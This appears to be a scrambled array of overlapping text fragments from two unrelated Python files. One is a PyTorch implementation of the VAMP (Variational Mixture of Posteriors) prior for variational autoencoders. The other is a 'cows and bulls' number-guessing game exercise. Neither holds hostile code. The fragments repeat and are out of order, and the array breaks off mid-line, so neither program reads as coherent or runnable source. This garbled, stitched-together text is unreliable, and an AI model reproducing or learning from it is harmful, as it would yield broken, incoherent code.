"--- https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self, encoder, n_sample=50): super().__init__() self.encoder = encoder # pseudoinputs",
"------- Since VAMP is $\\pi(z) = \\frac1K \\sum_k q(z\\mid u_k)$, i.e. the mixture",
"\\frac1K \\sum_k q(z\\mid u_k)$, i.e. the mixture proibabilities are uniform and fixed, there",
"shaped sample from VAMP.\"\"\" return self.rsample(sample_shape) def log_prob(self, value): r\"\"\"Differentiable log-probability of the",
"the mixture proibabilities are uniform and fixed, there is no need for REINFORCE.",
"no need to backprop # through it and hence no need for reinforce",
"u_k)) q = self.encoder(self.pseudoinputs) # broadcast value so that `log_q` has shape `*batch_shape",
"= self.encoder(self.pseudoinputs) # broadcast value so that `log_q` has shape `*batch_shape x n_sample`,",
"math import torch class VAMP(torch.nn.Module): \"\"\"Varational Mixture of Posteriors prior by <NAME> Welling",
"learnable `pseudoinputs`, that detrmine the modes of the prior. The log-probability is log-sum-exp",
"self.encoder(self.pseudoinputs) # broadcast value so that `log_q` has shape `*batch_shape x n_sample`, #",
"} \\Bigr) - \\log K \\,. $$ \"\"\" n_dim = len(self.event_shape) assert value.shape[-n_dim:]",
"log_q = q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is \\tfrac1K \\sum_k q(z \\mid u_k) # log-sum-exp-average",
"class VAMP(torch.nn.Module): \"\"\"Varational Mixture of Posteriors prior by <NAME> Welling (2017). URL ---",
"= torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def event_shape(self):",
"on output) and $u_k$ are learnable `pseudoinputs`, that detrmine the modes of the",
"- \\log K \\,. $$ \"\"\" n_dim = len(self.event_shape) assert value.shape[-n_dim:] == self.event_shape",
"$q(z|x)$ is the approximate posterior represented by the encoder network (with some distribution",
"diffenretiable variates from VAMP. Details ------- Since VAMP is $\\pi(z) = \\frac1K \\sum_k",
"size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self, sample_shape): \"\"\"Generate a `sample_shape` shaped sample from",
"= \\tfrac1K \\sum_k q(z \\mid u_k) $ where $q(z|x)$ is the approximate posterior",
"VAMP is $\\pi(z) = \\frac1K \\sum_k q(z\\mid u_k)$, i.e. the mixture proibabilities are",
"self.encoder = encoder # pseudoinputs self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs() def",
"assert value.shape[-n_dim:] == self.event_shape # q has batch_shape `n_sample` (q_k(z) = q(z \\mid",
"== self.event_shape # q has batch_shape `n_sample` (q_k(z) = q(z \\mid u_k)) q",
"q(z \\mid u_k)) q = self.encoder(self.pseudoinputs) # broadcast value so that `log_q` has",
"prior (Varational Mixture of Posteriors) is variant of emprirical Bayes prior learnt long",
"no need for reinforce gradients index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def",
"\\sum_k q(z \\mid u_k) $ where $q(z|x)$ is the approximate posterior represented by",
"VAE from the data. It the following mixture $ \\pi(z) = \\tfrac1K \\sum_k",
"`log_q` has shape `*batch_shape x n_sample`, # where `batch_shape` is the leading dimensions",
"and hence no need for reinforce gradients index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape))",
"$u_k$ are learnable `pseudoinputs`, that detrmine the modes of the prior. The log-probability",
"\\sum_k q(z \\mid u_k) # log-sum-exp-average along the pseudoinput dimension return log_q.logsumexp(dim=-1) -",
"proibabilities are uniform and fixed, there is no need for REINFORCE. \"\"\" if",
"is no need for REINFORCE. \"\"\" if not isinstance(sample_shape, torch.Size): sample_shape = torch.Size(sample_shape)",
"network (with some distribution on output) and $u_k$ are learnable `pseudoinputs`, that detrmine",
"of the VAE's encoder at each pseudoinput: $$ \\log \\pi(z) = \\log \\Bigl(",
"VAMP(torch.nn.Module): \"\"\"Varational Mixture of Posteriors prior by <NAME> Welling (2017). URL --- https://arxiv.org/abs/1705.07120",
"sample_shape): r\"\"\"Draw diffenretiable variates from VAMP. Details ------- Since VAMP is $\\pi(z) =",
"`pseudoinputs`, that detrmine the modes of the prior. The log-probability is log-sum-exp of",
"Since VAMP is $\\pi(z) = \\frac1K \\sum_k q(z\\mid u_k)$, i.e. the mixture proibabilities",
"torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self, sample_shape): \"\"\"Generate a `sample_shape` shaped sample",
"\\pi(z) = \\tfrac1K \\sum_k q(z \\mid u_k) $ where $q(z|x)$ is the approximate",
"The log-probability is log-sum-exp of log-probs of the VAE's encoder at each pseudoinput:",
"the data. It the following mixture $ \\pi(z) = \\tfrac1K \\sum_k q(z \\mid",
"q(z\\mid u_k)$, i.e. the mixture proibabilities are uniform and fixed, there is no",
"the prior. The log-probability is log-sum-exp of log-probs of the VAE's encoder at",
"*encoder.input_shape) ) self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def event_shape(self): return self.encoder.event_shape def",
"shape `*batch_shape x n_sample`, # where `batch_shape` is the leading dimensions of `value`",
"$$ \\log \\pi(z) = \\log \\Bigl( \\sum_k \\exp{ \\{ \\log q(z\\mid u_k) \\}",
"r\"\"\"Draw diffenretiable variates from VAMP. Details ------- Since VAMP is $\\pi(z) = \\frac1K",
"return self.rsample(sample_shape) def log_prob(self, value): r\"\"\"Differentiable log-probability of the VAMP prior. Details -------",
"Details ------- VAMP prior (Varational Mixture of Posteriors) is variant of emprirical Bayes",
"= q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is \\tfrac1K \\sum_k q(z \\mid u_k) # log-sum-exp-average along",
"variant of emprirical Bayes prior learnt long with the VAE from the data.",
"is variant of emprirical Bayes prior learnt long with the VAE from the",
"len(self.event_shape) assert value.shape[-n_dim:] == self.event_shape # q has batch_shape `n_sample` (q_k(z) = q(z",
"a `sample_shape` shaped sample from VAMP.\"\"\" return self.rsample(sample_shape) def log_prob(self, value): r\"\"\"Differentiable log-probability",
"modes of the prior. The log-probability is log-sum-exp of log-probs of the VAE's",
"\"\"\"Draw diffenretiable variates from VAMP modes specified by `index`. \"\"\" q = self.encoder(self.pseudoinputs[index.flatten()])",
"https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self, encoder, n_sample=50): super().__init__() self.encoder = encoder # pseudoinputs self.pseudoinputs",
"prior. Details ------- VAMP prior (Varational Mixture of Posteriors) is variant of emprirical",
"long with the VAE from the data. It the following mixture $ \\pi(z)",
"log-probability is log-sum-exp of log-probs of the VAE's encoder at each pseudoinput: $$",
"------- VAMP prior (Varational Mixture of Posteriors) is variant of emprirical Bayes prior",
"the VAMP prior. Details ------- VAMP prior (Varational Mixture of Posteriors) is variant",
"index): \"\"\"Draw diffenretiable variates from VAMP modes specified by `index`. \"\"\" q =",
"(q_k(z) = q(z \\mid u_k)) q = self.encoder(self.pseudoinputs) # broadcast value so that",
"# where `batch_shape` is the leading dimensions of `value` log_q = q.log_prob(value.unsqueeze(-n_dim-1)) #",
"log-probability of the VAMP prior. Details ------- VAMP prior (Varational Mixture of Posteriors)",
"u_k) $ where $q(z|x)$ is the approximate posterior represented by the encoder network",
"of log-probs of the VAE's encoder at each pseudoinput: $$ \\log \\pi(z) =",
"modes specified by `index`. \"\"\" q = self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self,",
"return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self, sample_shape): \"\"\"Generate a `sample_shape` shaped sample from VAMP.\"\"\"",
"torch.Size(sample_shape) # index is uniformly random, and not learnable, thus no need to",
"def __init__(self, encoder, n_sample=50): super().__init__() self.encoder = encoder # pseudoinputs self.pseudoinputs = torch.nn.Parameter(",
"q(z\\mid u_k) \\} } \\Bigr) - \\log K \\,. $$ \"\"\" n_dim =",
"the approximate posterior represented by the encoder network (with some distribution on output)",
"need for REINFORCE. \"\"\" if not isinstance(sample_shape, torch.Size): sample_shape = torch.Size(sample_shape) # index",
"$$ \"\"\" n_dim = len(self.event_shape) assert value.shape[-n_dim:] == self.event_shape # q has batch_shape",
"pseudoinput: $$ \\log \\pi(z) = \\log \\Bigl( \\sum_k \\exp{ \\{ \\log q(z\\mid u_k)",
"the following mixture $ \\pi(z) = \\tfrac1K \\sum_k q(z \\mid u_k) $ where",
"has shape `*batch_shape x n_sample`, # where `batch_shape` is the leading dimensions of",
"and not learnable, thus no need to backprop # through it and hence",
"\\tfrac1K \\sum_k q(z \\mid u_k) # log-sum-exp-average along the pseudoinput dimension return log_q.logsumexp(dim=-1)",
"u_k) \\} } \\Bigr) - \\log K \\,. $$ \"\"\" n_dim = len(self.event_shape)",
"std=0.01) @property def event_shape(self): return self.encoder.event_shape def rsample_from_index(self, index): \"\"\"Draw diffenretiable variates from",
"need to backprop # through it and hence no need for reinforce gradients",
"x n_sample`, # where `batch_shape` is the leading dimensions of `value` log_q =",
"`*batch_shape x n_sample`, # where `batch_shape` is the leading dimensions of `value` log_q",
"sample from VAMP.\"\"\" return self.rsample(sample_shape) def log_prob(self, value): r\"\"\"Differentiable log-probability of the VAMP",
"backprop # through it and hence no need for reinforce gradients index =",
"REINFORCE. \"\"\" if not isinstance(sample_shape, torch.Size): sample_shape = torch.Size(sample_shape) # index is uniformly",
"<gh_stars>0 import math import torch class VAMP(torch.nn.Module): \"\"\"Varational Mixture of Posteriors prior by",
"reinforce gradients index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self, sample_shape): \"\"\"Generate",
"is log-sum-exp of log-probs of the VAE's encoder at each pseudoinput: $$ \\log",
"\\} } \\Bigr) - \\log K \\,. $$ \"\"\" n_dim = len(self.event_shape) assert",
"\"\"\"Generate a `sample_shape` shaped sample from VAMP.\"\"\" return self.rsample(sample_shape) def log_prob(self, value): r\"\"\"Differentiable",
"q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is \\tfrac1K \\sum_k q(z \\mid u_k) # log-sum-exp-average along the",
"VAMP. Details ------- Since VAMP is $\\pi(z) = \\frac1K \\sum_k q(z\\mid u_k)$, i.e.",
"is the approximate posterior represented by the encoder network (with some distribution on",
"of the prior. The log-probability is log-sum-exp of log-probs of the VAE's encoder",
"where $q(z|x)$ is the approximate posterior represented by the encoder network (with some",
"`value` log_q = q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is \\tfrac1K \\sum_k q(z \\mid u_k) #",
"Mixture of Posteriors prior by <NAME> Welling (2017). URL --- https://arxiv.org/abs/1705.07120 \"\"\" def",
"\\tfrac1K \\sum_k q(z \\mid u_k) $ where $q(z|x)$ is the approximate posterior represented",
"learnt long with the VAE from the data. It the following mixture $",
"detrmine the modes of the prior. The log-probability is log-sum-exp of log-probs of",
"\\log \\Bigl( \\sum_k \\exp{ \\{ \\log q(z\\mid u_k) \\} } \\Bigr) - \\log",
"@torch.no_grad() def sample(self, sample_shape): \"\"\"Generate a `sample_shape` shaped sample from VAMP.\"\"\" return self.rsample(sample_shape)",
"\\log K \\,. $$ \"\"\" n_dim = len(self.event_shape) assert value.shape[-n_dim:] == self.event_shape #",
"def log_prob(self, value): r\"\"\"Differentiable log-probability of the VAMP prior. Details ------- VAMP prior",
"*self.event_shape) def rsample(self, sample_shape): r\"\"\"Draw diffenretiable variates from VAMP. Details ------- Since VAMP",
"q = self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self, sample_shape): r\"\"\"Draw diffenretiable variates from",
"so that `log_q` has shape `*batch_shape x n_sample`, # where `batch_shape` is the",
"no need for REINFORCE. \"\"\" if not isinstance(sample_shape, torch.Size): sample_shape = torch.Size(sample_shape) #",
"torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def event_shape(self): return self.encoder.event_shape",
"uniform and fixed, there is no need for REINFORCE. \"\"\" if not isinstance(sample_shape,",
"leading dimensions of `value` log_q = q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is \\tfrac1K \\sum_k q(z",
"distribution on output) and $u_k$ are learnable `pseudoinputs`, that detrmine the modes of",
"K \\,. $$ \"\"\" n_dim = len(self.event_shape) assert value.shape[-n_dim:] == self.event_shape # q",
"event_shape(self): return self.encoder.event_shape def rsample_from_index(self, index): \"\"\"Draw diffenretiable variates from VAMP modes specified",
"that `log_q` has shape `*batch_shape x n_sample`, # where `batch_shape` is the leading",
"is $\\pi(z) = \\frac1K \\sum_k q(z\\mid u_k)$, i.e. the mixture proibabilities are uniform",
"thus no need to backprop # through it and hence no need for",
"the modes of the prior. The log-probability is log-sum-exp of log-probs of the",
"(Varational Mixture of Posteriors) is variant of emprirical Bayes prior learnt long with",
"\\Bigl( \\sum_k \\exp{ \\{ \\log q(z\\mid u_k) \\} } \\Bigr) - \\log K",
"\\Bigr) - \\log K \\,. $$ \"\"\" n_dim = len(self.event_shape) assert value.shape[-n_dim:] ==",
"Posteriors) is variant of emprirical Bayes prior learnt long with the VAE from",
"learnable, thus no need to backprop # through it and hence no need",
"of Posteriors prior by <NAME> Welling (2017). URL --- https://arxiv.org/abs/1705.07120 \"\"\" def __init__(self,",
"at each pseudoinput: $$ \\log \\pi(z) = \\log \\Bigl( \\sum_k \\exp{ \\{ \\log",
"encoder network (with some distribution on output) and $u_k$ are learnable `pseudoinputs`, that",
"to backprop # through it and hence no need for reinforce gradients index",
"output) and $u_k$ are learnable `pseudoinputs`, that detrmine the modes of the prior.",
"log-probs of the VAE's encoder at each pseudoinput: $$ \\log \\pi(z) = \\log",
"of `value` log_q = q.log_prob(value.unsqueeze(-n_dim-1)) # vamp is \\tfrac1K \\sum_k q(z \\mid u_k)",
"# pseudoinputs self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01)",
"data. It the following mixture $ \\pi(z) = \\tfrac1K \\sum_k q(z \\mid u_k)",
"self.rsample(sample_shape) def log_prob(self, value): r\"\"\"Differentiable log-probability of the VAMP prior. Details ------- VAMP",
"some distribution on output) and $u_k$ are learnable `pseudoinputs`, that detrmine the modes",
"= \\frac1K \\sum_k q(z\\mid u_k)$, i.e. the mixture proibabilities are uniform and fixed,",
"following mixture $ \\pi(z) = \\tfrac1K \\sum_k q(z \\mid u_k) $ where $q(z|x)$",
"index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self, sample_shape): \"\"\"Generate a `sample_shape`",
"self.pseudoinputs = torch.nn.Parameter( torch.Tensor(n_sample, *encoder.input_shape) ) self.reset_pseudoinputs() def reset_pseudoinputs(self): self.pseudoinputs.data.normal_(mean=0., std=0.01) @property def",
"q(z \\mid u_k) # log-sum-exp-average along the pseudoinput dimension return log_q.logsumexp(dim=-1) - math.log(len(self.pseudoinputs))",
"sample_shape): \"\"\"Generate a `sample_shape` shaped sample from VAMP.\"\"\" return self.rsample(sample_shape) def log_prob(self, value):",
"specified by `index`. \"\"\" q = self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self, sample_shape):",
"def event_shape(self): return self.encoder.event_shape def rsample_from_index(self, index): \"\"\"Draw diffenretiable variates from VAMP modes",
"by `index`. \"\"\" q = self.encoder(self.pseudoinputs[index.flatten()]) return q.rsample().reshape(*index.shape, *self.event_shape) def rsample(self, sample_shape): r\"\"\"Draw",
"isinstance(sample_shape, torch.Size): sample_shape = torch.Size(sample_shape) # index is uniformly random, and not learnable,",
"hence no need for reinforce gradients index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad()",
"batch_shape `n_sample` (q_k(z) = q(z \\mid u_k)) q = self.encoder(self.pseudoinputs) # broadcast value",
"not learnable, thus no need to backprop # through it and hence no",
"for reinforce gradients index = torch.randint(len(self.pseudoinputs), size=(sample_shape.numel(),)) return self.rsample_from_index(index.reshape(*sample_shape)) @torch.no_grad() def sample(self, sample_shape):",
"def sample(self, sample_shape): \"\"\"Generate a `sample_shape` shaped sample from VAMP.\"\"\" return self.rsample(sample_shape) def",
"self.event_shape # q has batch_shape `n_sample` (q_k(z) = q(z \\mid u_k)) q =",
"approximate posterior represented by the encoder network (with some distribution on output) and",
"\\{ \\log q(z\\mid u_k) \\} } \\Bigr) - \\log K \\,. $$ \"\"\"",
"\"\"\" n_dim = len(self.event_shape) assert value.shape[-n_dim:] == self.event_shape # q has batch_shape `n_sample`",
"from VAMP. Details ------- Since VAMP is $\\pi(z) = \\frac1K \\sum_k q(z\\mid u_k)$,"
] |
[
"= list(s) list_chars.remove(c) return \"\".join(list_chars) if __name__ == \"__main__\": guessed = False attempts",
"a 4-digit number. For every digit that the user guessed correctly in the",
"a 4-digit number: \") attempts += 1 if user == secret: guessed =",
"to don't duplicate the count \"\"\" list_chars = list(s) list_chars.remove(c) return \"\".join(list_chars) if",
"as file: print(secret_number, file=file) return secret_number def get_cows_and_bulls(secret, user): \"\"\"Calculate the amount of",
"Say the number generated by the computer is 1038. An example interaction could",
"cows, %i bulls\" % (get_cows_and_bulls(secret, user))) print( \"Congrats! The number is %s. You",
"% (get_cows_and_bulls(secret, user))) print( \"Congrats! The number is %s. You did %s attempts.\"",
"1 to bulls and remove it of secret_chars to don't duplicate the count",
"this: Randomly generate a 4-digit number. Ask the user to guess a 4-digit",
"the computer is 1038. An example interaction could look like this: Welcome to",
"return \"\".join(list_chars) if __name__ == \"__main__\": guessed = False attempts = 0 secret",
"number. \"\"\" import random def get_secret_number(): \"\"\" Define the secret number and write",
"def get_cows_and_bulls(secret, user): \"\"\"Calculate the amount of cows and bulls. \"\"\" cows =",
"c): \"\"\"Remove a char of the string. When a user character exist in",
"remove it of secret_chars to don't duplicate the count \"\"\" list_chars = list(s)",
"generated by the computer is 1038. An example interaction could look like this:",
"interaction could look like this: Welcome to the Cows and Bulls Game! Enter",
"= 0 secret_chars = secret for i in range(len(secret)): if user[i] == secret[i]:",
"the user guessed correctly in the correct place, they have a “cow”. For",
"bull Until the user guesses the number. \"\"\" import random def get_secret_number(): \"\"\"",
"user to guess a 4-digit number. For every digit that the user guessed",
"number generated by the computer is 1038. An example interaction could look like",
"example interaction could look like this: Welcome to the Cows and Bulls Game!",
"Cows and Bulls Game! Enter a number: >>> 1234 2 cows, 0 bulls",
"not guessed: user = input(\"Guess a 4-digit number: \") attempts += 1 if",
"“cows and bulls” game with the user. The game works like this: Randomly",
"utf-8 -*- \"\"\"Exercise 18: Cows And Bulls Create a program that will play",
"1 if user[i] in secret_chars: bulls += 1 secret_chars = remove_char(secret_chars, user[i]) return",
"9999)) with open(\"secret_number.txt\", \"w\") as file: print(secret_number, file=file) return secret_number def get_cows_and_bulls(secret, user):",
"return secret_number def get_cows_and_bulls(secret, user): \"\"\"Calculate the amount of cows and bulls. \"\"\"",
"Cows And Bulls Create a program that will play the “cows and bulls”",
"Bulls Game! Enter a number: >>> 1234 2 cows, 0 bulls >>> 1256",
"1 cow, 1 bull Until the user guesses the number. \"\"\" import random",
"cows, bulls def remove_char(s, c): \"\"\"Remove a char of the string. When a",
"the user guesses the correct number, the game is over. Keep track of",
"list_chars.remove(c) return \"\".join(list_chars) if __name__ == \"__main__\": guessed = False attempts = 0",
"import random def get_secret_number(): \"\"\" Define the secret number and write it to",
"write it to a file. \"\"\" secret_number = str(random.randint(1000, 9999)) with open(\"secret_number.txt\", \"w\")",
"a user character exist in a secret_chars, add 1 to bulls and remove",
"+= 1 if user == secret: guessed = True print(\"%i cows, %i bulls\"",
"0 bulls >>> 1256 1 cow, 1 bull Until the user guesses the",
"file=file) return secret_number def get_cows_and_bulls(secret, user): \"\"\"Calculate the amount of cows and bulls.",
"the user guesses the number. \"\"\" import random def get_secret_number(): \"\"\" Define the",
"secret = get_secret_number() while not guessed: user = input(\"Guess a 4-digit number: \")",
"1256 1 cow, 1 bull Until the user guesses the number. \"\"\" import",
"and tell the user at the end. Say the number generated by the",
"remove_char(s, c): \"\"\"Remove a char of the string. When a user character exist",
"of the number of guesses the user makes throughout teh game and tell",
"Randomly generate a 4-digit number. Ask the user to guess a 4-digit number.",
"get_cows_and_bulls(secret, user): \"\"\"Calculate the amount of cows and bulls. \"\"\" cows = bulls",
"\") attempts += 1 if user == secret: guessed = True print(\"%i cows,",
"input(\"Guess a 4-digit number: \") attempts += 1 if user == secret: guessed",
"user makes throughout teh game and tell the user at the end. Say",
"guessed = True print(\"%i cows, %i bulls\" % (get_cows_and_bulls(secret, user))) print( \"Congrats! The",
"1 bull Until the user guesses the number. \"\"\" import random def get_secret_number():",
"= input(\"Guess a 4-digit number: \") attempts += 1 if user == secret:",
"return cows, bulls def remove_char(s, c): \"\"\"Remove a char of the string. When",
"bulls = 0 secret_chars = secret for i in range(len(secret)): if user[i] ==",
"guesses the number. \"\"\" import random def get_secret_number(): \"\"\" Define the secret number",
"number. For every digit that the user guessed correctly in the correct place,",
"user guesses the correct number, the game is over. Keep track of the",
"a program that will play the “cows and bulls” game with the user.",
"and bulls” game with the user. The game works like this: Randomly generate",
"user makes a guess, tell them how many “cows” and “bulls” they have.",
"the secret number and write it to a file. \"\"\" secret_number = str(random.randint(1000,",
"False attempts = 0 secret = get_secret_number() while not guessed: user = input(\"Guess",
"True print(\"%i cows, %i bulls\" % (get_cows_and_bulls(secret, user))) print( \"Congrats! The number is",
"the “cows and bulls” game with the user. The game works like this:",
"Bulls Create a program that will play the “cows and bulls” game with",
"that will play the “cows and bulls” game with the user. The game",
"and “bulls” they have. Once the user guesses the correct number, the game",
"secret number and write it to a file. \"\"\" secret_number = str(random.randint(1000, 9999))",
"cows = bulls = 0 secret_chars = secret for i in range(len(secret)): if",
"\"\"\" Define the secret number and write it to a file. \"\"\" secret_number",
"count \"\"\" list_chars = list(s) list_chars.remove(c) return \"\".join(list_chars) if __name__ == \"__main__\": guessed",
"in the correct place, they have a “cow”. For every digit the user",
"bulls and remove it of secret_chars to don't duplicate the count \"\"\" list_chars",
"= get_secret_number() while not guessed: user = input(\"Guess a 4-digit number: \") attempts",
"guesses the user makes throughout teh game and tell the user at the",
"game is over. Keep track of the number of guesses the user makes",
"user[i] == secret[i]: cows += 1 if user[i] in secret_chars: bulls += 1",
"== \"__main__\": guessed = False attempts = 0 secret = get_secret_number() while not",
"wrong place is a “bull.” Every time the user makes a guess, tell",
"user guessed correctly in the correct place, they have a “cow”. For every",
"bulls\" % (get_cows_and_bulls(secret, user))) print( \"Congrats! The number is %s. You did %s",
"they have. Once the user guesses the correct number, the game is over.",
"while not guessed: user = input(\"Guess a 4-digit number: \") attempts += 1",
"guessed: user = input(\"Guess a 4-digit number: \") attempts += 1 if user",
"the game is over. Keep track of the number of guesses the user",
"\"\"\" secret_number = str(random.randint(1000, 9999)) with open(\"secret_number.txt\", \"w\") as file: print(secret_number, file=file) return",
"= bulls = 0 secret_chars = secret for i in range(len(secret)): if user[i]",
"== secret[i]: cows += 1 if user[i] in secret_chars: bulls += 1 secret_chars",
"“cows” and “bulls” they have. Once the user guesses the correct number, the",
"game with the user. The game works like this: Randomly generate a 4-digit",
"string. When a user character exist in a secret_chars, add 1 to bulls",
"attempts += 1 if user == secret: guessed = True print(\"%i cows, %i",
"tell the user at the end. Say the number generated by the computer",
"have. Once the user guesses the correct number, the game is over. Keep",
"of cows and bulls. \"\"\" cows = bulls = 0 secret_chars = secret",
"is a “bull.” Every time the user makes a guess, tell them how",
"correct place, they have a “cow”. For every digit the user guessed correctly",
"a secret_chars, add 1 to bulls and remove it of secret_chars to don't",
"“bull.” Every time the user makes a guess, tell them how many “cows”",
"open(\"secret_number.txt\", \"w\") as file: print(secret_number, file=file) return secret_number def get_cows_and_bulls(secret, user): \"\"\"Calculate the",
"game and tell the user at the end. Say the number generated by",
"the wrong place is a “bull.” Every time the user makes a guess,",
"tell them how many “cows” and “bulls” they have. Once the user guesses",
"Until the user guesses the number. \"\"\" import random def get_secret_number(): \"\"\" Define",
"in range(len(secret)): if user[i] == secret[i]: cows += 1 if user[i] in secret_chars:",
"secret_number def get_cows_and_bulls(secret, user): \"\"\"Calculate the amount of cows and bulls. \"\"\" cows",
"amount of cows and bulls. \"\"\" cows = bulls = 0 secret_chars =",
"print( \"Congrats! The number is %s. You did %s attempts.\" % (secret, attempts))",
"str(random.randint(1000, 9999)) with open(\"secret_number.txt\", \"w\") as file: print(secret_number, file=file) return secret_number def get_cows_and_bulls(secret,",
"bulls. \"\"\" cows = bulls = 0 secret_chars = secret for i in",
"the user. The game works like this: Randomly generate a 4-digit number. Ask",
"1038. An example interaction could look like this: Welcome to the Cows and",
"teh game and tell the user at the end. Say the number generated",
"correctly in the correct place, they have a “cow”. For every digit the",
"char of the string. When a user character exist in a secret_chars, add",
"= 0 secret = get_secret_number() while not guessed: user = input(\"Guess a 4-digit",
"duplicate the count \"\"\" list_chars = list(s) list_chars.remove(c) return \"\".join(list_chars) if __name__ ==",
"#!/usr/bin/env python3 # -*- coding: utf-8 -*- \"\"\"Exercise 18: Cows And Bulls Create",
"user))) print( \"Congrats! The number is %s. You did %s attempts.\" % (secret,",
"every digit that the user guessed correctly in the correct place, they have",
"to a file. \"\"\" secret_number = str(random.randint(1000, 9999)) with open(\"secret_number.txt\", \"w\") as file:",
"this: Welcome to the Cows and Bulls Game! Enter a number: >>> 1234",
"“cow”. For every digit the user guessed correctly in the wrong place is",
"1 if user == secret: guessed = True print(\"%i cows, %i bulls\" %",
"generate a 4-digit number. Ask the user to guess a 4-digit number. For",
"the number of guesses the user makes throughout teh game and tell the",
"number and write it to a file. \"\"\" secret_number = str(random.randint(1000, 9999)) with",
"For every digit that the user guessed correctly in the correct place, they",
"and write it to a file. \"\"\" secret_number = str(random.randint(1000, 9999)) with open(\"secret_number.txt\",",
"secret_chars = remove_char(secret_chars, user[i]) return cows, bulls def remove_char(s, c): \"\"\"Remove a char",
"digit that the user guessed correctly in the correct place, they have a",
"Game! Enter a number: >>> 1234 2 cows, 0 bulls >>> 1256 1",
"in the wrong place is a “bull.” Every time the user makes a",
"is over. Keep track of the number of guesses the user makes throughout",
"remove_char(secret_chars, user[i]) return cows, bulls def remove_char(s, c): \"\"\"Remove a char of the",
"the correct place, they have a “cow”. For every digit the user guessed",
"a “cow”. For every digit the user guessed correctly in the wrong place",
"user): \"\"\"Calculate the amount of cows and bulls. \"\"\" cows = bulls =",
"the correct number, the game is over. Keep track of the number of",
"\"\"\" list_chars = list(s) list_chars.remove(c) return \"\".join(list_chars) if __name__ == \"__main__\": guessed =",
"the user at the end. Say the number generated by the computer is",
"the string. When a user character exist in a secret_chars, add 1 to",
"cows, 0 bulls >>> 1256 1 cow, 1 bull Until the user guesses",
"track of the number of guesses the user makes throughout teh game and",
"if user[i] in secret_chars: bulls += 1 secret_chars = remove_char(secret_chars, user[i]) return cows,",
"user == secret: guessed = True print(\"%i cows, %i bulls\" % (get_cows_and_bulls(secret, user)))",
"a 4-digit number. Ask the user to guess a 4-digit number. For every",
"in a secret_chars, add 1 to bulls and remove it of secret_chars to",
"the user guessed correctly in the wrong place is a “bull.” Every time",
"of the string. When a user character exist in a secret_chars, add 1",
"secret_chars = secret for i in range(len(secret)): if user[i] == secret[i]: cows +=",
"+= 1 if user[i] in secret_chars: bulls += 1 secret_chars = remove_char(secret_chars, user[i])",
"add 1 to bulls and remove it of secret_chars to don't duplicate the",
"file. \"\"\" secret_number = str(random.randint(1000, 9999)) with open(\"secret_number.txt\", \"w\") as file: print(secret_number, file=file)",
"1 secret_chars = remove_char(secret_chars, user[i]) return cows, bulls def remove_char(s, c): \"\"\"Remove a",
"(get_cows_and_bulls(secret, user))) print( \"Congrats! The number is %s. You did %s attempts.\" %",
"with the user. The game works like this: Randomly generate a 4-digit number.",
"\"__main__\": guessed = False attempts = 0 secret = get_secret_number() while not guessed:",
"at the end. Say the number generated by the computer is 1038. An",
"Create a program that will play the “cows and bulls” game with the",
"def get_secret_number(): \"\"\" Define the secret number and write it to a file.",
"correctly in the wrong place is a “bull.” Every time the user makes",
"attempts = 0 secret = get_secret_number() while not guessed: user = input(\"Guess a",
"bulls += 1 secret_chars = remove_char(secret_chars, user[i]) return cows, bulls def remove_char(s, c):",
"and Bulls Game! Enter a number: >>> 1234 2 cows, 0 bulls >>>",
"\"w\") as file: print(secret_number, file=file) return secret_number def get_cows_and_bulls(secret, user): \"\"\"Calculate the amount",
"end. Say the number generated by the computer is 1038. An example interaction",
"user[i]) return cows, bulls def remove_char(s, c): \"\"\"Remove a char of the string.",
"by the computer is 1038. An example interaction could look like this: Welcome",
"like this: Welcome to the Cows and Bulls Game! Enter a number: >>>",
"\"\"\"Exercise 18: Cows And Bulls Create a program that will play the “cows",
"place is a “bull.” Every time the user makes a guess, tell them",
"a guess, tell them how many “cows” and “bulls” they have. Once the",
"+= 1 secret_chars = remove_char(secret_chars, user[i]) return cows, bulls def remove_char(s, c): \"\"\"Remove",
"guesses the correct number, the game is over. Keep track of the number",
"cows and bulls. \"\"\" cows = bulls = 0 secret_chars = secret for",
"list_chars = list(s) list_chars.remove(c) return \"\".join(list_chars) if __name__ == \"__main__\": guessed = False",
"guessed correctly in the wrong place is a “bull.” Every time the user",
